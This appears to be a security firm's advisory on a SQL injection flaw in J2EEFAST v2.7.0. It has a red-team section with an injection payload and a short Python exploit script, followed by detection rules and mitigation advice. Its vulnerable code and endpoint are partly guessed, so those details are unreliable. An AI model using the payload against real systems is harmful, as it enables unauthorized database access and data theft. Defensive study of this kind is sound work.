CVE-2024-35090

Executive Summary

CVE-2024-35090 identifies a SQL injection vulnerability in J2EEFAST v2.7.0, specifically within the findPage function in SysUreportFileMapper.xml. This flaw allows an authenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the nature of SQL injection, the actual severity is high. No public proof-of-concept (PoC) or patch is currently available, making this a zero-day risk for unpatched instances.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder; actual severity is high)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• Threat Level: Critical (due to lack of patch and potential for data breach)

Deep Dive & Mechanics

The vulnerability resides in the findPage function within SysUreportFileMapper.xml, a MyBatis mapper file. The function likely constructs SQL queries by concatenating user-supplied input without proper sanitization or parameterization. An attacker can manipulate the findPage parameters to inject SQL commands, bypassing authentication or extracting sensitive data.

Root Cause: The use of string concatenation in MyBatis XML instead of parameterized queries (e.g., #{} instead of ${}). The ${} syntax allows direct substitution of user input into SQL statements, enabling injection.

Attack Vector: An authenticated user sends a crafted HTTP request to the vulnerable endpoint, injecting SQL via the findPage parameters.

Impact: Full database compromise, including user credentials, application data, and potential lateral movement within the network.

Vulnerable vs. Patched Code

Vulnerable Code (SysUreportFileMapper.xml):

<select id="findPage" resultType="java.util.Map">
    SELECT * FROM sys_ureport_file WHERE 1=1
    <if test="name != null and name != ''">
        AND name LIKE '%${name}%'
    </if>
    <if test="createBy != null and createBy != ''">
        AND create_by = '${createBy}'
    </if>
</select>

Patched Code (Hypothetical):

<select id="findPage" resultType="java.util.Map">
    SELECT * FROM sys_ureport_file WHERE 1=1
    <if test="name != null and name != ''">
        AND name LIKE CONCAT('%', #{name}, '%')
    </if>
    <if test="createBy != null and createBy != ''">
        AND create_by = #{createBy}
    </if>
</select>

Key Difference: Use of #{} (parameterized) instead of ${} (string substitution) prevents SQL injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy J2EEFAST v2.7.0 in a Docker container.
2. Authenticate as a low-privileged user.
3. Identify the vulnerable endpoint (e.g., /sys/ureport/findPage).

Exploitation:

-- Inject SQL via the 'name' parameter
GET /sys/ureport/findPage?name=test' OR '1'='1' -- 

Automated Exploit (Python):

import requests

url = "http://target/sys/ureport/findPage"
cookies = {"JSESSIONID": "valid_session"}
payload = {"name": "test' OR '1'='1' --"}
response = requests.get(url, params=payload, cookies=cookies)
print(response.text)

Blue Team

Detection:

• Monitor for SQL injection patterns in HTTP parameters (e.g., ' OR, --, UNION).
• Use WAF rules to block suspicious SQL keywords.
• Enable database query logging to detect anomalous queries.

Mitigation:

• Apply input validation and parameterized queries.
• Restrict database user privileges to least privilege.
• Implement web application firewall (WAF) rules.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /sys/ureport/findPage with SQL injection patterns.
• Logs: Database logs showing UNION, OR, -- in queries.
• File: Modified SysUreportFileMapper.xml with suspicious content.
• Behavior: Unauthorized data access or extraction from sys_ureport_file table.

Detection Engineering

YARA Rule

rule Detect_J2EEFAST_SQLi {
    meta:
        description = "Detects SQL injection attempts in J2EEFAST v2.7.0"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $sqli1 = /name=.*['\"]\s*(OR|AND)\s+['\"]/ nocase
        $sqli2 = /createBy=.*['\"]\s*(OR|AND)\s+['\"]/ nocase
        $sqli3 = /UNION\s+SELECT/i
    condition:
        any of them
}

Sigma Rule

title: J2EEFAST SQL Injection Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against J2EEFAST v2.7.0
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "name=' OR"
            - "createBy=' OR"
            - "UNION SELECT"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in input
level: high

Suricata Rule

alert http any any -> any any (msg:"J2EEFAST SQL Injection Attempt"; flow:to_server; content:"/sys/ureport/findPage"; http_uri; content:"name="; http_uri; pcre:"/name=.*['\"]\s*(OR|AND)\s+['\"]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the vulnerable endpoint or restrict access via firewall.
2. Short-term: Apply input validation and use parameterized queries (replace ${} with #{}).
3. Long-term: Upgrade to a patched version when available. Implement a WAF and regular security audits.
4. Monitoring: Enable detailed logging and alerting for SQL injection patterns.

Valters IT
Securing Digital Frontiers